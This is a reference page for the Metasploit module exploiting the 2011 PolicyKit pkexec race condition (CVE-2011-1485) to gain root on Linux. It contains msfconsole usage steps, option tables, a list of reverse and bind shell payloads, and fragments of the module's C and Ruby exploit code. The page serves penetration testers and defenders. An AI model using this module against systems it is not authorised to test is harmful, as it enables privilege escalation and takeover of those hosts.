Linux PolicyKit Race Condition Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/pkexec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux PolicyKit Race Condition Privilege Escalation
Module: exploit/linux/local/pkexec
Source code: modules/exploits/linux/local/pkexec.rb
Disclosure date: 2011-04-01
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2011-1485
A race condition flaw was found in the PolicyKit pkexec utility and polkitd daemon. A local user could use this flaw to appear as a privileged user to pkexec, allowing them to execute arbitrary commands as root by running those commands with pkexec. Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/pkexec
msf exploit(pkexec) > show targets
... a list of targets ...
msf exploit(pkexec) > set TARGET target-id
msf exploit(pkexec) > show options
... show and set options ...
msf exploit(pkexec) > set SESSION session-id
msf exploit(pkexec) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the linux/local/pkexec exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/pkexec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/pkexec) > show info
Name: Linux PolicyKit Race Condition Privilege Escalation
Module: exploit/linux/local/pkexec
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2011-04-01
Provided by:
xi4oyu
0a29406d9794e4f9b30b3c5d6702c708
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Count 500 yes Number of attempts to win the race condition
DEBUG_EXPLOIT false yes Make the exploit executable be verbose about what it's doing
ListenerTimeout 60 yes Number of seconds to wait for the exploit
SESSION yes The session to run this module on.
Payload information:
Description:
A race condition flaw was found in the PolicyKit pkexec utility and
polkitd daemon. A local user could use this flaw to appear as a
privileged user to pkexec, allowing them to execute arbitrary
commands as root by running those commands with pkexec. Those
vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
(10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-1485
https://www.exploit-db.com/exploits/17942
OSVDB (72261)
Module Options
This is a complete list of options available in the linux/local/pkexec exploit:
msf6 exploit(linux/local/pkexec) > show options
Module options (exploit/linux/local/pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
Count 500 yes Number of attempts to win the race condition
DEBUG_EXPLOIT false yes Make the exploit executable be verbose about what it's doing
ListenerTimeout 60 yes Number of seconds to wait for the exploit
SESSION yes The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/local/pkexec exploit:
msf6 exploit(linux/local/pkexec) > show advanced
Module advanced options (exploit/linux/local/pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files (must not be mounted noexec)
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/pkexec module can exploit:
msf6 exploit(linux/local/pkexec) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/pkexec exploit:
msf6 exploit(linux/local/pkexec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/pkexec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/pkexec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
pkexec not found or version incorrect
Here is a relevant code snippet related to the "pkexec not found or version incorrect" error message:
71: # version can be nil
72: version = cmd_exec('pkexec --version').split.last
73:
74: # version can be a string, so we check it
75: if version.nil? || !Rex::Version.correct?(version)
76: vprint_error('pkexec not found or version incorrect')
77: return CheckCode::Unknown
78: end
79:
80: if Rex::Version.new(version) <= Rex::Version.new('0.101')
81: vprint_good("pkexec #{version} found")
pipe
Here is a relevant code snippet related to the "pipe" error message:
264: }
265: func();
266: }
267:
268: if(pipe(pipe1)){
269: perror("pipe");
270: exit(-2);
271: }
272:
273: for(count = COUNT; count && !flag; count--){
274: dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
execve pkexec
Here is a relevant code snippet related to the "execve pkexec" error message:
289: close(pipe2[0]);
290: close(pipe3[1]);
291: write(pipe2[1],"\xFF",1);
292: read(pipe3[0],&buff,1);
293: execve(pkexec_argv[0],pkexec_argv,envp);
294: perror("execve pkexec");
295: exit(-3);
296: }
297: close(0);
298: close(1);
299: close(2);
execve setuid
Here is a relevant code snippet related to the "execve setuid" error message:
301: close(pipe3[0]);
302: read(pipe2[0],&buff,1);
303: write(pipe3[1],"\xFF",1);
304: usleep(usleep1+usleep2);
305: execve(chfn_argv[0],chfn_argv,envp);
306: perror("execve setuid");
307: exit(1);
308: }
309: }
310: perror("pipe3");
311: exit(1);
pipe3
Here is a relevant code snippet related to the "pipe3" error message:
305: execve(chfn_argv[0],chfn_argv,envp);
306: perror("execve setuid");
307: exit(1);
308: }
309: }
310: perror("pipe3");
311: exit(1);
312: }
313:
314: //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
315: memset(pipe3,0,8);
poll
Here is a relevant code snippet related to the "poll" error message:
317: struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
318: pollfd->fd = pipe1[0];
319: pollfd->events = POLLRDNORM;
320:
321: if(poll(pollfd,1,1000) < 0){
322: perror("poll");
323: exit(1);
324: }
325:
326: if(pollfd->revents & POLLRDNORM ){
327: memset(read_buff,0,4096);
Metasm Encoding failed: <VALUE>
Here is a relevant code snippet related to the "Metasm Encoding failed: <VALUE>" error message:
356: end
357:
358: begin
359: elf = Metasm::ELF.compile_c(cpu, main).encode_string
360: rescue => e
361: print_error "Metasm Encoding failed: #{$ERROR_INFO}"
362: elog('Metasm Encoding failed', error: e)
363: return
364: end
365:
366: print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
Metasm Encoding failed
Here is a relevant code snippet related to the "Metasm Encoding failed" error message:
357:
358: begin
359: elf = Metasm::ELF.compile_c(cpu, main).encode_string
360: rescue => e
361: print_error "Metasm Encoding failed: #{$ERROR_INFO}"
362: elog('Metasm Encoding failed', error: e)
363: return
364: end
365:
366: print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
367: rm_f executable_path
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #7499 Merged Pull Request: Add a check for the linux pkexec module
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5218 Merged Pull Request: Fix #3816 by deleting print_debug
- #4373 Merged Pull Request: fix invalid URI scheme
- #4055 Merged Pull Request: Module #initialize specs
- #3944 Merged Pull Request: pkexec race condition (CVE-2011-1485) exploit
References
- CVE-2011-1485
- EDB-17942
- OSVDB (72261)
See Also
Check also the following modules related to this module:
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/ptrace_traceme_pkexec_helper
Related Nessus plugins:
- RHEL 6 : polkit (RHSA-2011:0455)
- Fedora 15 : polkit-0.101-5.fc15 (2011-5589)
- Fedora 14 : polkit-0.98-5.fc14 (2011-5676)
- Mandriva Linux Security Advisory : polkit (MDVSA-2011:086)
- Slackware 13.1 / current : polkit (SSA:2011-109-01)
- Ubuntu 9.10 / 10.04 LTS / 10.10 : policykit-1 vulnerability (USN-1117-1)
- Debian DSA-2319-1 : policykit-1 - race condition
- GLSA-201204-06 : PolicyKit: Multiple vulnerabilities
- Scientific Linux Security Update : polkit on SL6.x i386/x86_64
- Oracle Linux 6 : polkit (ELSA-2011-0455)
Authors
- xi4oyu
- 0a29406d9794e4f9b30b3c5d6702c708
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.